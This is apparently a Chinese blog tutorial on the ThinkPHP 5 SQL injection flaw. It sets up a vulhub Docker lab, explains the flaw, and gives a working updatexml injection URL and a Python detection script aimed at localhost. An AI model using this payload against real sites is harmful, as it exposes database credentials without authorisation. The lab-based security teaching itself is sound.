Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六)

Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六)

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 in-sqlinjection 漏洞举例,如果我们想要安装 in-sqlinjection 漏洞环境,可以 cd 到 in-sqlinjection ,然后输入以下命令启动靶场环境:

docker-compose up -d

在这里插入图片描述

然后我们在浏览器输入 https://localhost:8083 就可以访问靶场环境

在这里插入图片描述

Thinkphp5 SQL注入漏洞原理

ThinkPHP 5 是一个开源的 PHP 框架,被广泛用于构建 Web 应用程序。然而,由于编码不规范或未经适当验证的用户输入数据,可能会导致 SQL 注入漏洞。

SQL 注入攻击是一种利用应用程序对用户输入数据的处理不当,导致恶意 SQL 代码被执行的攻击方式。攻击者通过在用户输入的数据中注入恶意的 SQL 代码,从而获得对数据库的访问权限或执行未授权的操作。

在 ThinkPHP 5 中,SQL 注入漏洞的主要原因是传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

Thinkphp5 SQL注入漏洞 POC

接下来我们给出Thinkphp5 SQL注入漏洞的POC,代码内容如下:

index.php?ids[]=1&ids[]=2
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

我们像URL路径下添加POC就可以看到泄露的账户和密码:

在这里插入图片描述

Thinkphp5 SQL注入漏洞 POC编写

现在我们用python编写检测Thinkphp5 SQL注入漏洞的代码,内容如下:

#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp5_sqli(url):
    payload = urljoin(url,'/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1')
    response = requests.get(url=payload, verify=False)
    if 'XPATH syntax error' in response.text:
        print('漏洞存在')
    else:
        print('漏洞不存在')

if __name__ == '__main__':
    url = 'http://localhost:8083/'
    thinkphp5_sqli(url)

POC代码详细分析

这段代码是用于检测ThinkPHP 5框架的SQL注入漏洞。首先,代码导入了必要的库,包括requestsurllib.parse模块。然后,定义了一个名为thinkphp5_sqli的函数,该函数接收一个url参数。

函数主要通过构造一个特定的payload来检测目标URL是否存在漏洞。在payload中,使用了urljoin函数来构造一个URL,其中包含了一个恶意的SQL注入语句。具体来说,这个注入语句使用了updatexml函数来执行一些恶意的操作,比如获取当前用户。

然后,代码使用requests库发送一个GET请求,并将构造的payload作为url参数传递给请求。verify参数设置为False,表示不进行SSL验证。

最后,代码检查响应中是否包含了'XPATH syntax error'这个字符串。如果存在该字符串,说明目标URL存在SQL注入漏洞,输出"漏洞存在"。否则,输出"漏洞不存在"。

if name == 'main':部分,代码定义了一个默认的url为'http://localhost:8083/',并调用thinkphp5_sqli函数来检测该URL是否存在漏洞。可以根据需要修改默认的url参数来检测其他URL。

运行效果图

如下是我们这串代码的实际运行效果图:

在这里插入图片描述

  • 24
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

怰月

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值